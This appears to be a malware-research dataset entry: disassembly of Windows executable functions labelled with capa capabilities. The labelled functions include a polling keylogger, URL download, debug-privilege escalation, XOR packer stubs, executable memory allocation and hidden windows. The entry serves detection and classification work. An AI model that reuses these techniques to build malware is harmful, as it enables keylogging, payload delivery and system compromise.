joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e3f
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.00405974
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x405e74
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x423c88], eax
jmp 0x406006
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push esi
je 0x405e8f
test eax, eax
je 0x405fb1
test cl, 2
je 0x405fb1
push edi
push ebx
mov esi, 0x422358
push esi
call fcn.004057d3
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x405eb2
push str..
push esi
call edi
jmp 0x405eb8
push ebx
call fcn.0040594d
cmp byte [ebx], 0
jne 0x405ec6
cmp byte [0x422358], 0x5c
jne 0x405ece
push 0x407290
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [ebp - 0x148]
push eax
push esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x405fa6
lea esi, [ebp - 0x11c]
push 0x3f
mov eax, esi
push eax
call fcn.00405568
cmp byte [eax], 0
je 0x405f11
cmp byte [ebp - 0x18], 0
je 0x405f11
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x405f27
mov al, byte [esi + 1]
test al, al
je 0x405f85
cmp al, 0x2e
jne 0x405f27
cmp byte [esi + 2], 0
je 0x405f85
push esi
push edi
call fcn.004057d3
test byte [ebp - 0x148], 0x10
je 0x405f4c
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405f85
push dword [ebp + 0xc]
push ebx
call fcn.00405e3f
jmp 0x405f85
push ebx
call fcn.00405623
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405f7d
test byte [ebp + 0xc], 4
je 0x405f75
push ebx
push 0xfffffffffffffff1
call fcn.00404865
push 0
push ebx
call fcn.00405ca6
jmp 0x405f85
inc dword [0x423c88]
jmp 0x405f85
push ebx
push 0xfffffffffffffff2
call fcn.00404865
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405ef3
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405fb0
mov byte [edi - 1], 0
pop edi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x406005
cmp dword [ebp - 8], esi
je 0x405ff5
push ebx
call fcn.0040588f
test eax, eax
je 0x406005
push ebx
call fcn.00405920
push ebx
call fcn.00405623
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x405ffd
test byte [ebp + 0xc], 4
je 0x405ff5
push ebx
push 0xfffffffffffffff1
call fcn.00404865
push esi
push ebx
call fcn.00405ca6
jmp 0x406005
inc dword [0x423c88]
jmp 0x406005
push ebx
push 0xffffffffffffffe5
call fcn.00404865
pop esi
pop ebx
leave
ret 8
Function at 0x40600b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x42275c], 0
jne 0x406049
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40601f
mov dword [ecx*4 + 0x422758], eax
inc ecx
cmp ecx, 0x100
jl 0x40601a
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406076
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x422758]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406057
not eax
pop ebp
ret 0xc
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3dbc6e67
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x791d1d0c
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x402559
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x40258d
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x402601
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4025af
mov eax, 0x4812d5
push eax
push 1
mov ebx, 0x25c
call fcn.0045d7b0
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.0045d7c0
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x40260b
mov eax, 0
jmp 0x40260b
mov esp, ebp
pop ebp
ret 4

Function at 0x402658
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_getsockname
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.0045d7e0
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4026c0
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
jne 0x4026fe
cmp dword [ebp - 4], 0
je 0x4026f9
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4026f9
push 6
call fcn.004588d3
add esp, 4
jmp 0x402706
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
cmp dword [ebp - 4], 0
mov eax, 0
setne al
jmp 0x402717
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4071e9
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
push 8
call fcn.004588c7
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.004588c7
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 0x10
call fcn.004588c7
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x407298
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.0045d040
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4072f1
push 6
call fcn.004588d3
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0045d0a0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 8]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40733c
push 6
call fcn.004588d3
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40734c
push ebx
call fcn.004588cd
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov dword [ebp - 0x18], esp
mov eax, 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4073e0
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x407405
push 6
call fcn.004588d3
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x40740d
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.004588cd
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.004588cd
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40d576
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push 0
push 0
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x40d5b7
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
sete al
jmp 0x40d5cb
mov esp, ebp
pop ebp
ret 8
Function at 0x41084a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push dword [0x677d50]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x410897
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4108ae
mov eax, 0x48138d
jmp 0x4109ac
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push dword [0x677d50]
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4108d6
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4108ed
mov eax, 0x48138d
jmp 0x4109ac
mov dword [ebp - 0x14], esp
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41090f
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x410926
mov eax, 0x48138d
jmp 0x4109ac
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x1bc
call fcn.0045d9d0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410959
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push dword [ebp - 4]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x410970
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41098d
push 6
call fcn.004588d3
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4109a7
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004588c7
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4109ac
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4109bd
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4116c2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ebx, dword [0x677d38]
mov dword [ebp - 4], ebx
push 0x4812d5
mov ebx, dword [ebp - 4]
push dword [ebx]
call fcn.00401d17
add esp, 8
cmp eax, 0
je 0x411793
mov ebx, dword [0x677d38]
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0045d0a0
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0045d0a0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp - 4]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x411773
push 6
call fcn.004588d3
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x411783
push ebx
call fcn.004588cd
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x411793
push ebx
call fcn.004588cd
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x421916
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x421946
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x42195a
mov esp, ebp
pop ebp
ret 4

Function at 0x4219aa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [0x677e10], 0
jle 0x4219e2
cmp dword [0x677dfc], 0
jle 0x4219e2
mov eax, 1
jmp 0x4219e4
xor eax, eax
test eax, eax
je 0x421abc
push 1
push dword [0x677e10]
call fcn.00421ac2
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x421aa3
push 0x677e0c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
lea eax, [ebp - 8]
push eax
call fcn.00407a3d
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
push dword [0x677dfc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x421a49
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x421a8f
mov dword [ebp - 0xc], esp
push dword [0x677dfc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x421a7b
push 6
call fcn.004588d3
add esp, 4
mov dword [0x677dfc], 0
mov dword [0x677e10], 0
push 0x677e0c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
jmp 0x421abc
cmp dword [ebp - 4], 0
jne 0x421abc
push 0x677edc
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x422b87
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x200
push 1
mov ebx, 0x184
call fcn.0045d060
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x422bcc
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040d42d
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0x200
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x422c0b
push 6
call fcn.004588d3
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x422c27
push eax
mov ebx, eax
call fcn.0040106a
inc eax
push eax
call fcn.004588c7
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x422c2c
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x422c3d
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x428046
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x428081
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.0045d7c0
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4280e4
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.0045d040
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x428108
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.0045d7c0
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42816b
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.0045d040
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x42818f
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.0045d7c0
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4281f2
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.0045d040
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4281fa
mov esp, ebp
pop ebp
ret
Function at 0x42c68f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x42c6d5
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x481385]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.00401131
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.0045d060
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42c728
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
push dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x42c761
push 6
call fcn.004588d3
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x42c77d
push eax
mov ebx, eax
call fcn.0040106a
inc eax
push eax
call fcn.004588c7
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x42c782
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42c793
push ebx
call fcn.004588cd
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x4344e2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push VariantCopy
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x43450e
mov eax, 0x48138d
push eax
push 1
mov ebx, 0x194
call fcn.0045e7a0
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x434555
push 6
call fcn.004588d3
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x43456a
add eax, 8
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x43458a
push 6
call fcn.004588d3
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x434592
mov esp, ebp
pop ebp
ret 4
Function at 0x45d390
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00461ae0
mov esi, dword [esp + 0x38]
mov ebx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], ebp
test ebx, ebx
je 0x45d4e0
test ecx, ecx
je 0x45d4e0
inc ecx
push ecx
call fcn.0046f4b9
mov ebp, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov edx, ecx
mov esi, edi
mov edi, ebp
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00463bd0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x45d409
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x45d4cd
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call fcn.0046f4b9
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x45d491
cmp eax, 0xea
jne 0x45d4b9
push esi
call fcn.0046f4e2
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0046f4b9
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x45d45c
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x45d49f
cmp eax, 2
jne 0x45d4b9
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call fcn.00461a50
add esp, 8
mov dword [esp + 0x10], eax
push esi
call fcn.0046f4e2
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.0046f4e2
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x45d50e
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x45d51a
mov edx, dword [esp + 0x40]
test edx, edx
je 0x45d51a
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
call fcn.00461a50
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret